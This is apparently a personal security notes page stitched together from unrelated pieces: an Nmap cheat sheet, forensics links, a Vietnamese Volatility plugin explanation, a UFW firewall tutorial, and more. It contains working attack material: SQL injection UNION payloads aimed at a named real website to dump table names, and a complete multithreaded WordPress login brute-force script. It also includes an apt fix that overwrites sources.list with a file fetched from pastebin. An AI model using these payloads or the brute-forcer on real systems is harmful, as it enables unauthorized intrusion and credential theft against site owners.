NMAP CHEAT SHEET

Nmap Target Selection
Scan a single IP    nmap 192.168.1.1
Scan a host    nmap www.testhostname.com
Scan a range of IPs    nmap 192.168.1.1-20
Scan a subnet    nmap 192.168.1.0/24
Scan targets from a text file    nmap -iL list-of-ips.txt
These are all default scans, which will scan 1000 TCP ports. Host discovery will take place.
Nmap Port Selection
Scan a single Port    nmap -p 22 192.168.1.1
Scan a range of ports    nmap -p 1-100 192.168.1.1
Scan 100 most common ports (Fast)    nmap -F 192.168.1.1
Scan all 65535 ports    nmap -p- 192.168.1.1
Nmap Port Scan types
Scan using TCP connect    nmap -sT 192.168.1.1
Scan using TCP SYN scan (default)    nmap -sS 192.168.1.1
Scan UDP ports    nmap -sU -p 123,161,162 192.168.1.1
Scan selected ports – ignore discovery    nmap -Pn -F 192.168.1.1
Privileged access is required to perform the default SYN scans. If privileges are insufficient a TCP connect scan will be used. A TCP connect requires a full TCP connection to be established and therefore is a slower scan. Ignoring discovery is often required as many firewalls or hosts will not respond to PING, so could be missed unless you select the -Pn parameter. Of course this can make scan times much longer as you could end up sending scan probes to hosts that are not there.
Service and OS Detection
Detect OS and Services    nmap -A 192.168.1.1
Standard service detection    nmap -sV 192.168.1.1
More aggressive Service Detection    nmap -sV –version-intensity 5 192.168.1.1
Lighter banner grabbing detection    nmap -sV –version-intensity 0 192.168.1.1
Service and OS detection rely on different methods to determine the operating system or service running on a particular port. The more aggressive service detection is often helpful if there are services running on unusual ports. On the other hand the lighter version of the service will be much faster as it does not really attempt to detect the service simply grabbing the banner of the open service.
Nmap Output Formats
Save default output to file    nmap -oN outputfile.txt 192.168.1.1
Save results as XML    nmap -oX outputfile.xml 192.168.1.1
Save results in a format for grep    nmap -oG outputfile.txt 192.168.1.1
Save in all formats    nmap -oA outputfile 192.168.1.1
The default format could also be saved to a file using a simple file redirect command > file. Using the -oN option allows the results to be saved but also can be monitored in the terminal as the scan is under way.
Digging deeper with NSE Scripts
Scan using default safe scripts    nmap -sV -sC 192.168.1.1
Get help for a script    nmap –script-help=ssl-heartbleed
Scan using a specific NSE script    nmap -sV -p 443 –script=ssl-heartbleed.nse 192.168.1.1
Scan with a set of scripts    nmap -sV –script=smb* 192.168.1.1
According to my Nmap install there are currently 471 NSE scripts. The scripts are able to perform a wide range of security related testing and discovery functions. If you are serious about your network scanning you really should take the time to get familiar with some of them.
The option –script-help=$scriptname will display help for the individual scripts. To get an easy list of the installed scripts try locate nse | grep script.
You will notice I have used the -sV service detection parameter. Generally most NSE scripts will be more effective and you will get better coverage by including service detection.
A scan to search for DDOS reflection UDP services
Scan for UDP DDOS reflectors    nmap –sU –A –PN –n –pU:19,53,123,161 –script=ntp-monlist,dns-recursion,snmp-sysdescr 192.168.1.0/24
UDP based DDOS reflection attacks are a common problem that network defenders come up against. This is a handy Nmap command that will scan a target list for systems with open UDP services that allow these attacks to take place. Full details of the command and the background can be found on the Sans Institute Blog where it was first posted.
HTTP Service Information
Gather page titles from HTTP services    nmap –script=http-title 192.168.1.0/24
Get HTTP headers of web services    nmap –script=http-headers 192.168.1.0/24
Find web apps from known paths    nmap –script=http-enum 192.168.1.0/24
There are many HTTP information gathering scripts, here are a few that are simple but helpful when examining larger networks. Helps in quickly identifying what the HTTP service is that is running on the open port. Note the http-enum script is particularly noisy. It is similar to Nikto in that it will attempt to enumerate known paths of web applications and scripts. This will inevitably generated hundreds of 404 HTTP responses in the web server error and access logs.
Detect Heartbleed SSL Vulnerability
Heartbleed Testing    nmap -sV -p 443 –script=ssl-heartbleed 192.168.1.0/24
Heartbleed detection is one of the available SSL scripts. It will detect the presence of the well known Heartbleed vulnerability in SSL services. Specify alternative ports to test SSL on mail and other protocols (Requires Nmap 6.46).
IP Address information
Find Information about IP address    nmap –script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24
Gather information related to the IP address and netblock owner of the IP address. Uses ASN, whois and geoip location lookups. See the IP Tools for more information and similar online queries.

Memory forensic link

http://tty0x80.wordpress.com/2013/09/30/unsw-k17-ctf-2013-memory-forensics-writeup/
http://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html
http://securityxploded.com/malware-memory-forensics.php

SQL Server 2005 Virtual Labs

SQL Server 2005 Virtual LabsRSS Feed

SQL Server 2005 Upgrade Virtual LabsRSS Feed

Test ceh certifications

http://skillset.com/certifications/ceh

Some index files failed to download. They have been ignored, or old ones used instead after apt-get update

Open a terminal (CTRL+ALT+T) and issue the following commands in order. SOLUTION: sudo cp /etc/apt/sources.list ~/ sudo wget "http://pastebin.com/raw.php?i=uzhrtg5M" -O /etc/apt/sources.list sudo apt-get update sudo rm /etc/apt/sources.list.d/ubuntu-extras.list sudo apt-get update This solution is not general. It is specific to the sources.list file of the Original Poster. The second command which starts with wget downloads and replaces the sources.list file with a specific for Precise (Ubuntu 12.04) sources.list file. See the file in raw format by visiting this page. The fourth command removes the ubuntu-extras.list file which had an impact/conflict with another file of the same, so we removed it to avoid the error

By Passing Illegal mix of collations for operation ‘UNION’

That error cames up,when the char is not set as default.
Example :
http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–
We can bypass it with this syntax :
unhex(hex(group_concat(table_name)))
So our syntax will be look like this :
http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,unhex(hex(group_concat(table_name))),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–
It works. Tables cames up.
If don’t works you can try in this way too :
http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,convert(group_concat(table_name)+using+ascii),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–

MoVP 1.1 Phiên đăng nhập, quá trình và hình ảnh

Kẻ tấn công muốn đăng nhập. Họ rất thích đăng nhập từ xa với RDP. Những hành động này xảy ra bất cứ lúc nào, nhân của window sẽ tạo ra 1 phiên làm việc mới, đó là cơ bản của 1 container cho các quá trình và các đối tượng thuộc về các phiên làm việc. Phân tích các cấu trúc có thể mang lại giá trị pháp y cao, do đó MoVP 1.1 plugin là 1 phiên - một plugin để báo cáo về các phiên đăng nhập của window dựa trên bộ nhớ, bao gồm cả quá trình của họ có liên quan, modun hạt nhân

Đây là 1 số cách bạn dùng plugin này:

  • Quá trình liên kết với quá trình đăng nhập của họ: bạn thấy abc.exe đang chạy và bạn muốn biết nếu nó được đưa ra bởi 1 người qua RDP hoặc bởi 1 người dùng ngồi ở bàn điều khiển. 
  • Phát hiện quá trình ẩn: mỗi cấu trúc phiên có chứa 1 danh sách liên kết của các quá trình cho phiên đó. Nếu phần mềm độc hại bỏ liên kết 1 quá trình từ PsActiveProcessHead, bạn cũng có thể tận dụng danh sách thay thế quá trình này như 1 phương tiện để xác định các quá trình ẩn.
  • Xác định trình điều khiển nhân: Mỗi cấu trú phiên có chứa 1 danh sách các trình điều khiển ánh xạ vào phiên này. bạn cũng có thể sử dụng điều này để phân biệt các phiên RDP từ giao diện điều khiển hoặc các phiên chuyển đổi người dùng và cũng cho các việc linh tinh như xác định nếu hệ thống là 1 máy ảo Vmware.
Cấu trúc dữ liệu
Cấu trúc chính của 1 phiên là _MM_SESSION_SPACE. Đây là 1 cấu trúc lớn, do đó 1 phần nhỏ của nó sẽ được hiện thị dưới đây (Từ window 7 64bit)

>>> dt("_MM_SESSION_SPACE")
'_MM_SESSION_SPACE' (8064 bytes)
0x0   : ReferenceCount                 ['long']
0x4   : u                              ['__unnamed_2145']
0x8   : SessionId                      ['unsigned long']
0xc   : ProcessReferenceToSession      ['long']
0x10  : ProcessList                    ['_LIST_ENTRY']
0x20  : LastProcessSwappedOutTime      ['_LARGE_INTEGER']
0x28  : SessionPageDirectoryIndex      ['unsigned long long']
0x30  : NonPagablePages                ['unsigned long long']
0x38  : CommittedPages                 ['unsigned long long']
0x40  : PagedPoolStart                 ['pointer64', ['void']]
0x48  : PagedPoolEnd                   ['pointer64', ['void']]
0x50  : SessionObject                  ['pointer64', ['void']]
0x58  : SessionObjectHandle            ['pointer64', ['void']]
0x64  : SessionPoolAllocationFailures  ['array', 4, ['unsigned long']]
0x78  : ImageList                      ['_LIST_ENTRY']
0x88  : LocaleId                       ['unsigned long']
0x8c  : AttachCount                    ['unsigned long']
0x90  : AttachGate                     ['_KGATE']
0xa8  : WsListEntry                    ['_LIST_ENTRY']
0xc0  : Lookaside                      ['array', 21, ['_GENERAL_LOOKASIDE']]
0xb40 : Session                        ['_MMSESSION']
0xb98 : PagedPoolInfo                  ['_MM_PAGED_POOL_INFO']
0xc00 : Vm                             ['_MMSUPPORT']
0xc88 : Wsle                           ['pointer64', ['_MMWSLE']]
0xc90 : DriverUnload                   ['pointer64', ['void']]
0xcc0 : PagedPool                      ['_POOL_DESCRIPTOR']
0x1e00: PageDirectory                  ['_MMPTE']
0x1e08: SessionVaLock                  ['_KGUARDED_MUTEX']
0x1e40: DynamicVaBitMap                ['_RTL_BITMAP']
0x1e50: DynamicVaHint                  ['unsigned long']
0x1e58: SpecialPool                    ['_MI_SPECIAL_POOL']
0x1ea0: SessionPteLock                 ['_KGUARDED_MUTEX']
0x1ed8: PoolBigEntriesInUse            ['long']
0x1edc: PagedPoolPdeCount              ['unsigned long']
0x1ee0: SpecialPoolPdeCount            ['unsigned long']
0x1ee4: DynamicSessionPdeCount         ['unsigned long']
0x1ee8: SystemPteInfo                  ['_MI_SYSTEM_PTE_TYPE']
0x1f30: PoolTrackTableExpansion        ['pointer64', ['void']]
0x1f38: PoolTrackTableExpansionSize    ['unsigned long long']
0x1f40: PoolTrackBigPages              ['pointer64', ['void']]
0x1f48: PoolTrackBigPagesSize          ['unsigned long long']
[snip]

aaaaa

How to find the biggest installed packages on Kali Linux or Ubuntu

$ dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -nr

code brute-force wordpress

#!/usr/bin/python 
# Video: http://youtu.be/mURnM-Yp72g 
# Coded By: xSecurity

import urllib, urllib2, os, sys, requests as xsec, re
from time import sleep
from threading import Thread
def cls():
    linux = 'clear'
    windows = 'cls'
    os.system([linux,windows][os.name == 'nt']) 
cls()
print '''
       __                      _ _         
__  __/ _\ ___  ___ _   _ _ __(_) |_ _   _ 
\ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
 >  < _\ \  __/ (__| |_| | |  | | |_| |_| |
/_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
                                     |___/WordPress Brute Muliththreading :)
#Home: Sec4ever.CoM | Is-Sec.CoM | s3c-k.com
#Greets: UzunDz - b0x - Lov3rDNS - Mr.Dm4r - DamaneDz - rOx - r0kin 
Special For My Lov3r Cyber-Crystal
#Usage: Python wp.py http://target.com/ admin pass.txt
#Note: U Need Install Requests Package: http://www.youtube.com/watch?v=Ng5T18HyA-Q'''

xsec = xsec.session()
def brute(target,usr,pwd):
    get = xsec.get(target+'/wp-admin/')
    post = {}
    post["log"] = usr
    post["pwd"] = pwd
    post["wp-submit"] = "Log+in"
    post["redirect_to"] = target
    post["testcookie"] = "1"
    get2 = xsec.post(target+'/wp-login.php' , data=urllib.urlencode(post))
    get3 = xsec.get(target+'/wp-admin')
    if '<li id="wp-admin-bar-logout">' in get3.text:
        print '[+] Cracked Username: '+usr+' & Password: '+pwd
        os._exit(1)
    else:
        print '[~] Trying ...: '+pwd

if len(sys.argv) >= 3:
    target = sys.argv[1]
    usr = sys.argv[2]
    lst = open(sys.argv[3]).read().split("\n") 
    print '[*]Target: '+target
    print '[*]LIST:',len(lst)
    print '[*]Username: '+usr
    thrdlst = []
    for pwd in lst:
        t = Thread(target=brute, args=(target,usr,pwd))
        t.start()
        thrdlst.append(t)
        sleep(0.009)
    for b in thrdlst:
        b.join()
else:
    print '[>]There Somthing Missing Check ARGVS :)'

Hacking-lab

Install:
** Download iso
http://repo.hacking-lab.com/

username hacker
password compass
root password = compass

** Download VMOVA or Virtual box OVA
http://media.hacking-lab.com/largefiles/livecd/v8.00/

Install hacking-lab vpn config
http://pastebin.com/tfA6kExH

Readme: 
http://media.hacking-lab.com/largefiles/livecd/v8.00/readme.txt

Install volatily on ubuntu

Because it is available via PPA, installing Volatility 2.3.1 on Ubuntu, Linux Mint, Pear OS and Elementary OS is easy. All you have to do is add the ppa, update the local repository index and install the volatility package. Like this:
$ sudo add-apt-repository ppa:pi-rho/security
$ sudo apt-get update
$ sudo apt-get install volatility

Ubuntu và Firewall UFW

UFW trên terminal
UFW là một giao diện cấu hình tường lửa chạy trên dòng lệnh cho phép người dùng Ubuntu điều khiển traffic ra vào máy mình một cách đơn giản trên nền tảng tường lửa truyền thống iptables. Sau đây là cách sử dụng UFW.
Đầu tiên, ufw cần được kích hoạt: sudo ufw enable

Để tắt ufw dùng lệnh sau:  sudo ufw disable
Ban đầu khi bật tường lửa lên, UFW sẽ chạy ở chế độ ACCEPT, chấp nhận mọi traffic vào/ra cho đến khi chúng ta thiết lập các luật cho nó.
Xem các ứng dụng được cài đặt: sudo ufw list

Để kiểm tra trạng thái của ufw cũng như các rule đã thiết lập, dùng lệnh sau:                       sudo ufw status
Cú pháp đơn giản để cho phép một kết nối vào/ra trên một cổng nào đó đến bất kỳ host nào như sau:    sudo ufw allow 53
Để xác định protocol cụ thể cho cổng, thêm “/protocol” phía sau số cổng:                                                                  
sudo ufw allow 53/tcp
Ví dụ: Chặn truy cập vào google.com (74.125.128.94): 
sudo ufw deny from 74.125.128.94

Chặn một subnet kết nối đến máy mình: 
sudo ufw deny from 192.168.0.0/16
v Ufw framework cấu hình trong file text:
/etc/default/ufw: cấu hình ở mức cao, ví dụ như các chính sách mặc định, cung cấp ipv6...
/etc/ufw/before[6].rules:các luật trong file này được xác định trước khi bất kì luật nào được thêm vào bởi ufw
/etc/ufw/after[6].rules: các luật trong file này được xác định sau khi bất kì luật nào được thêm vào bởi ufw
/var/lib/ufw/user[6].rules or /lib/ufw/user[6].rules : những luật được thêm vào bởi ufw
v Logs
Firewall logs cần thiết cho nhận diện các tấn công, sửa chữa các luật trong firewall và nhận biết hoạt động không bình thường của mạng. Bạn phải thêm ghi lại các luật trong firewall để chúng được thực thi và việc ghi lại các luật phải trước bất kì luật xử lí gói tin vào ra nào của mạng.
Nếu sử dụng ufw, có thể bật ghi bằng dòng lệnh sau:
sudo ufw logging on
Để tắt việc ghi trong ufw, thay on bằng off
v Sử dụng giao diện Gufw:
Gufw là một lối đồ họa để quản lý một bức tường lửa iptables trên một máy tính. Nó được dựa trên ufw và cho phép bạn để cho phép hoặc chặn cấu hình định trước, p2p hay cổng cá nhân. 
Cài đặt:
 
Quá trình cài đặt đang diễn ra
“Y” để tiếp tục cài đặt

Đã cài đặt xong


Giao diện firewall của ufw. Firewall bị vô hiệu hoá khi bạn mở lần đầu tiên, “Unlock”:
 

Xác thực người dùng, điền password
 
Nơi bạn có thể cấu hình các qui tắc của firewall là: Simple, Preconfigured và Advanced. Cấu hình chặn truy cập vào google.com(74.125.128.94)

Đã thêm luật chặn vào
Firewall thực thi nên không thể truy cập vào google.com
                                       
Trên đây là sơ lược về việc sử dụng firewall UFW. Hy vọng với những vấn đề đề cập trên đây sẽ giúp ích ít nhiều cho các bạn. Nếu thời gian cho phép, tôi sẽ đi sâu hơn vào phần iptables của Linux!